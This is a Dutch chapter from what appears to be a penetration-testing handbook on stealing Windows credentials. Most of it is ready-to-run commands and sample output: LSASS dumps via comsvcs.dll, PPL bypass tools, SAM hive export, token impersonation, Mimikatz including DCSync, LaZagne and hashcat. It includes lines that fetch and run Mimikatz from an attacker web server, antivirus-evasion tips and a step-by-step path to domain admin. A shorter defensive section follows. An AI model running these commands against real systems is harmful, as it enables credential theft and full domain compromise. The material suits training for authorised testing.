Credential Access

De sleutelbos van de conciërge

Er is een mooi verschijnsel dat je kunt observeren in elk groot kantoorgebouw: de conciërge. Die ene persoon die een sleutelbos heeft waar je jaloers op wordt. Elke deur, elke kast, elk trappenhuis, de serverruimte, het dak – hij kan overal komen. En die sleutelbos hangt aan zijn riem, zichtbaar voor iedereen, trots gedragen als een medaille.

In Windows-netwerken is LSASS die conciërge. Het Local Security Authority Subsystem Service-proces draait op elke Windows-machine en bewaart de credentials van iedereen die heeft ingelogd. Wachtwoorden, hashes, Kerberos tickets – alles zit daar. En net als die sleutelbos, is het verrassend toegankelijk voor wie weet waar hij moet kijken.

Dit hoofdstuk gaat over het stelen van credentials. Het is het smerigste, het meest effectieve, en tegelijkertijd het meest vermijdbare onderdeel van een aanval. Want als organisaties hun credentials goed zouden beschermen, zou het merendeel van wat we in hoofdstuk 9 bespraken simpelweg niet werken. Maar ze doen het niet. Omdat – en hier komt de eeuwige waarheid – wachtwoorden makkelijk zijn, mensen lui zijn, en “we regelen het volgende kwartaal” de meest uitgesproken zin in IT-beveiliging is.


10.1 Waarom credential access de heilige graal is

Laten we een stap terug doen. In hoofdstuk 9 hebben we gezien hoe je van machine naar machine beweegt. Maar elke techniek vereist credentials: een wachtwoord, een hash, of een Kerberos ticket. Zonder credentials ga je nergens naartoe. Je zit vast op je ene gecompromitteerde werkstation als een toerist die zijn paspoort kwijt is.

Credential access verandert dat. Met de juiste credentials kun je:

Het is een multiplicator-effect. Eén set gestolen credentials kan leiden tot tien, honderd, duizend gecompromitteerde systemen. Het is de nucleaire optie van penetratietesten.

In MITRE ATT&CK-termen zitten we in Credential Access (TA0006). De belangrijkste technieken:

Techniek MITRE ID Bron
LSASS Memory Dump T1003.001 Proces geheugen
SAM Database T1003.002 Registry hives
Token Impersonation T1134.001 Draaiende processen
Cached Credentials T1003.005 Registry
Credential Managers T1555 Applicatie-opslag

10.2 LSASS – De goudmijn in het geheugen

Waarom LSASS alles bevat

LSASS (Local Security Authority Subsystem Service) is het proces dat verantwoordelijk is voor authenticatie op Windows. Elke keer dat iemand inlogt – interactief, via RDP, via een service – worden de credentials gecached in het LSASS-procesgeheugen.

En met “credentials” bedoel ik niet alleen een hash. Afhankelijk van de configuratie vind je:

Het is alsof iemand een kluis heeft gebouwd en vervolgens alle sleutels in de kluis heeft gelegd. Met de deur open.

Het is eigenlijk een fascinerend stukje software-engineering. Het probleem is niet dat LSASS credentials cached – dat is functioneel noodzakelijk voor Single Sign-On. Het probleem is dat Microsoft jarenlang dacht dat “de aanvaller heeft geen admin-rechten” een voldoende beveiligingsgrens was. Spoiler: dat was het niet.

De comsvcs.dll methode – Living off the land

De elegantste manier om LSASS te dumpen gebruikt geen enkele externe tool. Alleen wat Windows zelf aanbiedt:

:: Stap 1: Vind het LSASS Process ID
tasklist /fi "imagename eq lsass.exe"

Image Name                     PID Session Name
========================= ======== ================
lsass.exe                      672 Services
:: Stap 2: Dump via rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Windows\tasks\lsass.dmp full

Of de PowerShell-variant die de PID automatisch ophaalt:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

Dat is het. Twee regels. Geen externe tools. Alleen rundll32.exe en een DLL die op elke Windows-machine staat. Het is alsof de inbreker de koevoet vindt die naast de voordeur staat.

IB – Het cred_minidump command in IB genereert beide varianten: de handmatige PID-lookup en de PowerShell one-liner. IB herinnert je eraan dat AV steeds beter wordt in het detecteren van comsvcs.dll dumps. Overweeg om comsvcs.dll naar een ander pad te kopieren om string-based detectie te omzeilen.

Stap 3: Offline extractie

De dump zelf bevat ruwe geheugenpagina’s. Om er credentials uit te halen, gebruik je Mimikatz op je eigen machine:

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Dit is de veiligere aanpak: je draait Mimikatz niet op het doelsysteem (waar het gedetecteerd kan worden), maar op je eigen machine. De dump download je via je C2-kanaal of via SMB.

LSASS Protected Process Light (PPL)

Microsoft wist dat LSASS een doelwit was en heeft RunAsPPL geintroduceerd – Protected Process Light. Als PPL actief is, kunnen zelfs processen met SYSTEM-rechten niet zomaar het geheugen van LSASS lezen.

Controleer of PPL actief is:

Get-Process lsass | Format-List *protect*

Als PPL actief is, heb je zwaardere middelen nodig:

:: Methode 1: PPLdump (exploits LSASS PPL protection)
.\PPLdump.exe lsass.exe C:\Windows\tasks\lsass.dmp

:: Methode 2: Via Mimikatz driver (mimidrv.sys)
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords

:: Methode 3: PPLKiller (kernel driver exploit)
.\PPLKiller.exe /installDriver
.\PPLKiller.exe /disablePPL lsass
.\PPLKiller.exe /uninstallDriver

Na het uitschakelen van PPL kun je de normale dump-methode gebruiken:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

IB – Het cred_lsass_ppldump command bevat alle vier methoden om PPL te omzeilen: PPLdump, Mimikatz driver, PPLKiller, en SafetyKatz. SafetyKatz is bijzonder handig: het doet een MiniDumpWriteDump in-memory met een ingebouwde AMSI bypass. Je laadt het via de IB Loader:

C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe

Methode 4: SafetyKatz – De moderne aanpak

SafetyKatz combineert het beste van twee werelden: het maakt een minidump in geheugen (zonder naar schijf te schrijven) en parseert de credentials direct. Geen bestanden op de schijf, geen extra download, alles in-memory:

C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe

De Loader downloadt SafetyKatz, voert het uit in geheugen, en je krijgt de credentials direct terug. Het is de stealth-variant voor wanneer je geen dumpbestanden op de schijf wilt achterlaten.

Detectie

LSASS dumps zijn een van de best gedetecteerde aanvalstechnieken – als je de juiste monitoring hebt:

Het probleem is dat “als je de juiste monitoring hebt” een groot voorbehoud is. De meeste organisaties hebben Sysmon niet geinstalleerd, laat staan geconfigureerd om LSASS-access te monitoren. Ze vertrouwen op hun AV, en hun AV vertrouwt op signatures die zes maanden achter de feiten aanlopen.


10.3 SAM Database – De lokale schatkamer

Wat is de SAM?

De Security Account Manager (SAM) database bevat de wachtwoordhashes van alle lokale accounts op een Windows-machine. Niet de domain accounts – die staan op de domain controller in NTDS.dit. Maar de lokale accounts: Administrator, Guest, en alle custom lokale accounts die iemand ooit heeft aangemaakt.

“Maar lokale accounts zijn toch niet interessant?” hoor ik je denken. Fout. Om twee redenen:

  1. Wachtwoord hergebruik: Als het lokale admin-wachtwoord op machine A hetzelfde is als op machine B (en dat is het bijna altijd als LAPS niet wordt gebruikt), dan heb je met één hash toegang tot alle machines met hetzelfde wachtwoord.

  2. Cached domain credentials: De SAM bevat ook gecachte domain credentials voor offline authenticatie. Als iemand met een domain account heeft ingelogd op deze machine, staat daar een hash van.

Registry hive dump

De SAM is opgeslagen als registry hive. Om hem te dumpen heb je drie bestanden nodig:

:: Vereiste: Local admin rechten
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak
reg save HKLM\SECURITY C:\Windows\tasks\security.bak

Dat is het. Drie commando’s. Geen tools nodig. De SYSTEM hive bevat de encryptiesleutel die nodig is om de hashes in de SAM hive te ontsleutelen. De SECURITY hive bevat cached domain credentials en LSA secrets.

IB – Het cred_sam_dump command in IB genereert de drie reg save commando’s met de juiste paden. IB herinnert je eraan dat je ook de Volume Shadow Copy-methode kunt gebruiken als reg save geblokkeerd is.

Offline extractie

Download de drie bestanden naar je aanvalsmachine en gebruik Impacket’s secretsdump.py:

python3 secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

Output:

[*] Target system bootKey: 0xabcdef1234567890abcdef1234567890
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/admin.vanderberg:$DCC2$10240#admin.vanderberg#a9f...

Of met Mimikatz:

mimikatz # lsadump::sam /sam:sam.bak /system:system.bak

Volume Shadow Copy als alternatief

Soms is reg save geblokkeerd door EDR of AppLocker. In dat geval kun je Volume Shadow Copies gebruiken:

:: Maak een shadow copy aan
wmic shadowcopy call create Volume='C:\'

:: Kopieer SAM uit de shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\tasks\sam.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\tasks\system.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\tasks\security.bak

Dit omzeilt de file lock die het besturingssysteem op de registry hives heeft. Het is een beetje alsof je een fotokopie maakt van een document dat in een afgesloten la ligt – je hoeft de la niet te openen, je kopieert gewoon de inhoud via een omweg.

Detectie


10.4 Token Impersonation – Iemand anders zijn

Tokens in Windows

Elk proces in Windows draait met een access token dat bepaalt wie dat proces “is” en welke rechten het heeft. Er zijn twee soorten tokens die relevant zijn:

Als je SYSTEM-rechten hebt op een machine, kun je elk token op die machine stelen en gebruiken. Je wordt letterlijk een andere gebruiker. Het is identiteitsdiefstal op OS-niveau.

Rubeus – Token triage

Rubeus is primair een Kerberos-tool (zie hoofdstuk 8), maar de triage-functie is handig om te zien welke tickets beschikbaar zijn:

.\Rubeus.exe triage

Output toont alle Kerberos tickets in het geheugen van alle sessies. Als je een ticket ziet van een domain admin, kun je het extraheren en injecteren:

:: Ticket extraheren
.\Rubeus.exe dump /luid:0x12345 /nowrap

:: Ticket injecteren in je sessie (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

Incognito – Token impersonation

Incognito is de klassieke tool voor token impersonation:

:: Lijst alle beschikbare tokens
.\incognito.exe list_tokens -u

Delegation Tokens Available
========================================
CORP\admin.vanderberg
CORP\jdejong
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
CORP\svc_backup
:: Impersonate een token
.\incognito.exe execute -c "CORP\admin.vanderberg" cmd.exe

En plotseling heb je een cmd.exe die draait als CORP\admin.vanderberg. Zonder ooit zijn wachtwoord of hash te kennen. Je hebt gewoon zijn token gestolen – het digitale equivalent van iemands badge lenen en door de beveiligingspoort lopen.

Mimikatz token elevation

Mimikatz kan ook tokens manipuleren:

# Token elevatie naar SYSTEM + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

# Specifieke user impersonaten
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate /domainadmin" "token::run /process:cmd.exe"'

De token::elevate /domainadmin variant zoekt specifiek naar een token van een domain admin op het systeem. Als er een gevonden wordt, krijg je een cmd.exe als die domain admin.

IB – Het cred_token_impersonate command in IB biedt vier methoden: Rubeus triage, Incognito, Mimikatz token elevation, en PowerShell native. Het bevat ook uitleg over het verschil tussen delegation en impersonation tokens: - Delegation = interactieve logons (RDP, runas) – krachtigst - Impersonation = netwerk logons (drive mappings) – beperkter

Wanneer vind je welk token?

Scenario Token type Voorbeeld
Admin logt in via RDP Delegation Krachtigst, volledig herbruikbaar
Mapped network drive Impersonation Beperkt, maar bruikbaar op lokale machine
Scheduled task draait Delegation Als de task als specifieke user draait
Service account Delegation Als de service als domain user draait

De gouden regel: als een domain admin ooit interactief heeft ingelogd op de machine waarop jij staat, dan is zijn delegation token beschikbaar. En dat token verloopt pas als het systeem wordt herstart of de gebruiker expliciet uitlogt (niet alleen zijn sessie sluit).

Daarom zijn jump-hosts zo belangrijk: als admins via een jump-host werken in plaats van direct op servers in te loggen, beperken ze het aantal machines waarop hun tokens achterblijven.


10.5 Mimikatz – De diepere duik

Het gereedschap dat de wereld veranderde

Er zijn weinig tools die zo’n impact hebben gehad op de beveiligingsindustrie als Mimikatz. Benjamin Delpy schreef het oorspronkelijk als proof-of-concept om te laten zien dat Windows credentials onveilig waren. Microsoft’s reactie was niet om het probleem op te lossen, maar om Delpy te vragen om het niet openbaar te maken.

Hij deed het toch. En de rest is geschiedenis.

Mimikatz is niet één tool – het is een Zwitsers zakmes van credential-aanvallen. Laten we de belangrijkste modules doorlopen.

Mimikatz downloaden via IB

Eerst moet je Mimikatz op het doelsysteem krijgen. IB biedt twee methoden:

Via certutil (het mimikatz command):

cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/mimikatz.exe mimi.exe

Via PowerShell (het psmimikatz command):

powershell -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/tools/mimi/mimikatz.exe','c:\windows\tasks\mimi.exe')

IB – De mimikatz en psmimikatz commands downloaden Mimikatz naar C:\Windows\tasks\mimi.exe. IB host het bestand op de ingebouwde HTTP server. Let op: het IP-adres staat op 127.0.0.1 – dit veronderstelt dat IB draait op dezelfde machine of dat je port forwarding hebt ingesteld. Pas het adres aan naar je eigen IP.

Merk op dat we het bestand hernoemen naar mimi.exe. Het is een kleine OPSEC-maatregel: sommige AV-producten triggeren op de bestandsnaam mimikatz.exe zonder de inhoud te controleren. Dat is alsof de politie een dief laat lopen omdat hij een pet opheeft.

sekurlsa::logonpasswords – De klassieker

Dit is het commando dat iedereen kent:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Output (verkort):

Authentication Id : 0 ; 12345678 (00000000:00bc614e)
Session           : Interactive from 1
User Name         : admin.vanderberg
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2024-01-15 09:23:15

        msv :
         [00000003] Primary
         * Username : admin.vanderberg
         * Domain   : CORP
         * NTLM     : e53d87d42adaa3ca32bdb34a876cbffb
         * SHA1     : a4f49c406510bdcab6824ee7c30fd852e049b510

        wdigest :
         * Username : admin.vanderberg
         * Domain   : CORP
         * Password : (null)

        kerberos :
         * Username : admin.vanderberg
         * Domain   : CORP.LOCAL
         * Password : (null)

Op moderne systemen (Windows 10+, Server 2016+) zul je zien dat WDigest en Kerberos (null) tonen voor het wachtwoord. Dat is omdat Microsoft WDigest standaard heeft uitgeschakeld. Maar de NTLM hash is er altijd. En met die hash kun je Pass-the-Hash doen (zie hoofdstuk 9).

sekurlsa::wdigest – Plaintext wachtwoorden

Op oudere systemen, of als iemand de registry key UseLogonCredential heeft ingeschakeld (wat vaker voorkomt dan je zou hopen, meestal vanwege legacy-applicaties), kun je plaintext wachtwoorden ophalen:

mimikatz # sekurlsa::wdigest

Als WDigest is ingeschakeld, zie je het wachtwoord in cleartext. Geen hash, geen encryptie, gewoon het wachtwoord. Het is alsof je de kluis openmaakt en er een Post-it in vindt met het wachtwoord erop geschreven.

Om WDigest handmatig in te schakelen (als aanvaller, voor persistentie):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Na de volgende interactieve logon wordt het wachtwoord in cleartext gecached. Dit is een bekende techniek voor persistentie: je schakelt WDigest in, wacht tot de gebruiker opnieuw inlogt, en haalt het wachtwoord op.

lsadump::sam – Lokale hashes

mimikatz # lsadump::sam

Dit doet hetzelfde als de reg save methode die we in sectie 10.3 bespraken, maar dan direct in geheugen. Geen bestanden op schijf, geen reg save commando’s die EDR kan detecteren.

lsadump::dcsync – De nucleaire optie

DCSync is de krachtigste Mimikatz-module. Het simuleert het gedrag van een domain controller die replicatie aanvraagt. In mensentaal: Mimikatz doet alsof het een DC is en vraagt de echte DC: “Hé, stuur me even alle wachtwoordhashes.”

mimikatz # lsadump::dcsync /user:CORP\krbtgt
mimikatz # lsadump::dcsync /user:CORP\Administrator
mimikatz # lsadump::dcsync /all /csv

DCSync vereist Replicating Directory Changes en Replicating Directory Changes All rechten. Standaard hebben alleen Domain Admins en de DC-machine accounts deze rechten. Maar als je die rechten hebt (of ze via ACL abuse hebt verkregen, zie hoofdstuk 7), dan heb je toegang tot elke hash in het domein.

Met de krbtgt hash kun je Golden Tickets maken (hoofdstuk 8). Met de Administrator hash kun je Pass-the-Hash naar elke machine. Met /all /csv dump je het hele domein in één keer.

PowerShell Invoke-Mimikatz

Als je Mimikatz niet als executable wilt draaien (omdat AV het detecteert), kun je het in PowerShell laden:

# Reflective PE injection -- Mimikatz draait volledig in geheugen
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# DCSync via PowerShell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:CORP\krbtgt"'

# Token elevation + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

De PowerShell-variant laadt Mimikatz volledig in geheugen via reflective PE injection. Er komt geen mimikatz.exe op de schijf. Het is onzichtbaar voor file-based AV. Maar niet voor AMSI – daarom heb je de AMSI bypass uit hoofdstuk 4 nodig.

Mimikatz detectie

Mimikatz is de meest gedetecteerde offensive tool ter wereld. AV-signatures, EDR-regels, YARA-rules – alles zoekt naar Mimikatz. Maar:

De detectie-armsrace is een eindeloze cyclus. Microsoft patcht, Delpy past aan. AV-leveranciers schrijven signatures, pentesters wijzigen strings. Het is als een kat-en-muis-spel, behalve dat de kat soms vergeet dat er een muis is.


10.6 LaZagne – De brede aanpak

Meer dan alleen Windows credentials

LaZagne is de stofzuiger van credential-tools. Waar Mimikatz zich richt op Windows authenticatie-geheugen, doorzoekt LaZagne alles: browsers, email clients, WiFi-configuraties, database tools, sysadmin tools, en meer.

Download LaZagne via IB:

powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.0.0.1/tools/lazagne.exe','c:\windows\tasks\lazagne.exe')

IB – Het get_lazagne command downloadt LaZagne naar C:\Windows\tasks\lazagne.exe. IB host het bestand op de ingebouwde HTTP server.

Gebruik

:: Alle modules draaien
C:\Windows\tasks\lazagne.exe all

:: Alleen browsers
C:\Windows\tasks\lazagne.exe browsers

:: Alleen WiFi wachtwoorden
C:\Windows\tasks\lazagne.exe wifi

:: Alleen sysadmin tools (PuTTY, FileZilla, WinSCP, etc.)
C:\Windows\tasks\lazagne.exe sysadmin

Wat vindt LaZagne?

Categorie Applicaties
Browsers Chrome, Firefox, Edge, Opera, IE – opgeslagen wachtwoorden en cookies
Email Outlook, Thunderbird, Windows Mail
WiFi Alle opgeslagen WiFi-netwerken met wachtwoorden
Sysadmin PuTTY, FileZilla, WinSCP, OpenSSH, Remote Desktop
Database SQLDeveloper, Robomongo, DBVisualizer
Windows Credential Manager, Vault, autologon
Git Git credentials opgeslagen via credential manager

De output is vaak verrassend. Systeembeheerders die PuTTY gebruiken om naar productieservers te SSH’en en hun wachtwoorden opslaan. Ontwikkelaars die database-credentials hebben opgeslagen in hun SQL-client. De IT-helpdesk die WiFi-wachtwoorden heeft opgeslagen op gedeelde werkstations.

Mensen klagen dat hackers hun wachtwoorden stelen, maar ze bewaren ze letterlijk in een bestand genaamd ‘opgeslagen wachtwoorden.’ Dat is niet stelen, dat is ophalen.

Praktijkvoorbeeld

Een typische LaZagne-run op een werkstation van een systeembeheerder:

[+] Password found !!!
URL: https://git.corp.local
Login: admin.vanderberg
Password: W1nt3rIsComing!

[+] Password found !!!
Software: PuTTY
Hostname: 10.10.10.50
Username: root
Password: Sup3rS3cret!

[+] Password found !!!
Software: WinSCP
Hostname: 10.10.10.60
Username: deploy
Password: D3pl0y2024!!

[+] Password found !!!
SSID: CORP-WiFi
Password: WelkomBijCorpWiFi!

Vier wachtwoorden. Eén commando. Geen exploits, geen privilege escalation, geen fancy technieken. Gewoon opgeslagen wachtwoorden ophalen. En je kunt wedden dat minstens één van die wachtwoorden ook ergens anders wordt hergebruikt.

Detectie

LaZagne is minder gedetecteerd dan Mimikatz, maar:


10.7 Offline cracking – Van hash naar wachtwoord

Waarom offline cracken?

Je hebt hashes. Mooi. Met NTLM hashes kun je Pass-the-Hash doen en dat is vaak voldoende. Maar soms wil je het daadwerkelijke wachtwoord:

Hashcat

Hashcat is de industriestandaard voor wachtwoord-cracking. Het gebruikt je GPU voor massale parallelle berekeningen:

# NTLM hash kraken met woordenlijst
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Met regels (toevoegen van cijfers, speciale tekens, etc.)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack: wachtwoord + 4 cijfers + speciaal teken
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d?s

# DCC2 (cached domain credentials) -- veel langzamer
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt

Hash types die je tegenkomt:

Hashcat mode Type Snelheid
1000 NTLM Extreem snel (~100 GH/s op RTX 4090)
2100 DCC2 (cached creds) Langzaam (~1 MH/s)
13100 Kerberoast (TGS-REP) Langzaam-gemiddeld
18200 AS-REP roast Langzaam-gemiddeld
3200 bcrypt Extreem langzaam

John the Ripper

John is de alternatieve cracker met enkele voordelen: betere regelverwerking, meer hash-formaten out of the box, en het draait goed op CPU als je geen krachtige GPU hebt:

# NTLM kraken
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Met regels
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64

# Resultaten tonen
john --format=NT hashes.txt --show

Slimme regels

Het verschil tussen een mediocre en een goede cracker zit in de regels. Wachtwoordbeleid in Nederlandse organisaties leidt tot voorspelbare patronen:

# Nederlandse patronen:
# Welkom01! → hoofdletter + woord + cijfers + speciaal teken
# Zomer2024! → seizoen + jaar + speciaal teken
# Amsterdam1! → stad + cijfer + speciaal teken
# Bedrijfsnaam01! → bedrijf + cijfers + speciaal teken

Maak een custom woordenlijst met:

# Seizoenen, maanden, bedrijfsnaam, steden
cat << 'EOF' > custom_words.txt
Welkom
Wachtwoord
Winter
Zomer
Lente
Herfst
Januari
Februari
Amsterdam
Rotterdam
Utrecht
CompanyName
EOF

# Combineer met regels
hashcat -m 1000 hashes.txt custom_words.txt -r /usr/share/hashcat/rules/best64.rule

Je zou verbaasd zijn – of eigenlijk niet verbaasd, want het is deprimerend voorspelbaar – hoeveel wachtwoorden in Nederlandse organisaties een seizoen of maand bevatten, gevolgd door het huidige jaar en een uitroepteken. “Herfst2025!” is technisch gezien een sterk wachtwoord: 12 tekens, hoofdletter, kleine letters, cijfers, speciaal teken. Maar het is ongeveer zo origineel als “Welkom01!”.


10.8 Verdediging – Credentials beschermen

Credential Guard

Dit is de single most effective maatregel tegen credential theft. Windows Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren in een aparte Hyper-V container. Zelfs SYSTEM-processen kunnen niet bij de credentials.

Met Credential Guard: - Mimikatz sekurlsa::logonpasswords faalt - LSASS dumps bevatten geen bruikbare credentials - Pass-the-Hash is sterk beperkt

Vereisten: - UEFI Secure Boot - TPM 2.0 (aanbevolen) - Windows 10 Enterprise / Education, of Server 2016+ - Geen legacy-applicaties die NTLM v1 of WDigest vereisen

Dat laatste punt is de reden waarom veel organisaties het niet implementeren. Er is altijd die ene legacy-applicatie uit 2008 die alleen met NTLM v1 werkt en die “business critical” is. En dus blijft Credential Guard op de roadmap. Jaar na jaar na jaar.

LAPS – Local Administrator Password Solution

LAPS zorgt ervoor dat elk werkstation een uniek, willekeurig lokaal admin-wachtwoord heeft dat regelmatig wordt geroteerd. De wachtwoorden worden opgeslagen in Active Directory en zijn alleen leesbaar voor geautoriseerde accounts.

Zonder LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je ze allemaal. Met LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je precies dat werkstation.

Het verschil is het verschil tussen het stelen van een loper en het stelen van een enkele sleutel.

# Controleer of LAPS is geconfigureerd (als aanvaller)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null}

# Als je de LAPS wachtwoorden kunt lezen (vereist rechten)
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

Protected Users group

De Protected Users security group is een onderschatte verdedigingsmaatregel. Leden van deze groep:

Voeg alle gevoelige accounts toe: domain admins, enterprise admins, service accounts met hoge rechten.

# Voeg een account toe aan Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "admin.vanderberg"

Tiered Administration Model

De meest fundamentele maar minst geimplementeerde verdediging: een gelaagd beheersmodel.

De logica is simpel: een domain admin mag nooit inloggen op een werkstation. Als hij dat doet, laat hij credentials achter die gestolen kunnen worden. Door strikte scheiding tussen tiers voorkom je dat een gecompromitteerd werkstation leidt tot domain compromise.

Maar tiered administration is lastig, onpopulair bij systeembeheerders (“ik wil niet steeds van account wisselen”), en vereist discipline. Het is alsof je mensen vertelt dat ze hun autosleutels niet op de keukentafel moeten laten liggen. Iedereen snapt het, niemand doet het.


10.9 Het wachtwoord-hergebruik-probleem – De ongemakkelijke waarheid

Laat me even een statistiek delen die me elke keer weer verbijstert. In mijn ervaring – en dit is anekdotisch maar consistent – hergebruikt minimaal 60% van de gebruikers in een gemiddelde organisatie hun wachtwoord op meerdere systemen. Het lokale admin-wachtwoord is hetzelfde op 80% van de werkstations. En de domain admin heeft hetzelfde wachtwoord als zijn persoonlijke Gmail-account.

We weten al twintig jaar dat wachtwoord hergebruik een probleem is. We hebben password managers, we hebben MFA, we hebben biometrische authenticatie, we hebben passkeys. En toch, in 2026, is het meest voorkomende lokale admin-wachtwoord in Nederlandse bedrijven iets als “Welkom01!” of de naam van het bedrijf gevolgd door het jaar.

We noemen het een wachtwoord. Eén woord. Eén geheim dat alles beschermt. En wat doen mensen? Ze schrijven het op een Post-it en plakken het op hun monitor. Dat is geen wachtwoord, dat is een welkomstbord.”

Het grappige is dat organisaties miljoenen uitgeven aan firewalls, SIEM’s, SOC’s, en threat intelligence feeds. En dan logt de CFO in met “Welkom01!” op zijn werkstation, zijn VPN, zijn email, en zijn bankrekening. Al die miljoenen aan beveiliging worden irrelevant door zes toetsaanslagen en een gebrek aan verbeeldingskracht.

De oplossing is niet technisch. De technologie bestaat. Password managers werken. MFA werkt. Credential Guard werkt. De oplossing is organisatorisch: het management moet besluiten dat beveiliging prioriteit heeft boven gemak. En dat is het probleem. Want gemak wint altijd. Gemak is de dood van beveiliging. En beveiliging is het ongewenste kind van IT – iedereen weet dat het bestaat, niemand wil ervoor betalen, en als er iets misgaat is het ineens ieders probleem.


10.10 Praktische walkthrough – Van LSASS naar domain admin

Laten we een volledig scenario doorlopen. Je zit op werkstation WS01 als CORP\jdejong met lokale admin-rechten.

Stap 1: LSASS dumpen

# Check of PPL actief is
Get-Process lsass | Format-List *protect*

# Als PPL niet actief is (meest voorkomend):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

Stap 2: Credentials extraheren

Op je eigen machine:

mimikatz # sekurlsa::minidump lsass.dmp
Opening : 'lsass.dmp' file for minidump...

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 7654321
Session           : Interactive from 2
User Name         : admin.vanderberg
Domain            : CORP
        msv :
         * NTLM : e53d87d42adaa3ca32bdb34a876cbffb
        kerberos :
         * Password : (null)

Stap 3: Pass-the-Hash naar de volgende machine

admin.vanderberg is admin op SRV01. Gebruik de hash:

evil-winrm -i SRV01 -u admin.vanderberg -H e53d87d42adaa3ca32bdb34a876cbffb

Stap 4: Op SRV01 – meer credentials

# LSASS opnieuw dumpen
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

# SAM dumpen voor lokale accounts
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak

Stap 5: LaZagne voor extra credentials

C:\Windows\tasks\lazagne.exe all

[+] Password found !!!
Software: PuTTY
Hostname: DC01.corp.local
Username: admin.vanderberg
Password: DA-V@nderBerg2024!

Kijk eens aan. Het plaintext wachtwoord. Opgeslagen in PuTTY. Op een server waar de admin dagelijks SSH-sessies opzet naar de domain controller.

Stap 6: Domain controller

evil-winrm -i DC01.corp.local -u admin.vanderberg -p 'DA-V@nderBerg2024!'

Game over. Van werkstation naar domain controller in zes stappen. De totale tijd in een echt assessment: minder dan een uur.

Dit is waarom credential access de heilige graal is. Het is niet spectaculair, het is niet ingewikkeld, het is niet geavanceerd. Het is gewoon het ophalen van sleutels die overal rondslingeren.


10.11 De credential chain samengevat

[WS01] jdejong (phishing)
   ↓ LSASS dump
[WS01] admin.vanderberg hash
   ↓ Pass-the-Hash (Evil-WinRM)
[SRV01] admin.vanderberg
   ↓ LaZagne (PuTTY saved credentials)
[SRV01] admin.vanderberg plaintext
   ↓ Direct login
[DC01] Domain Admin
   ↓ DCSync
[DC01] Alle hashes in het domein

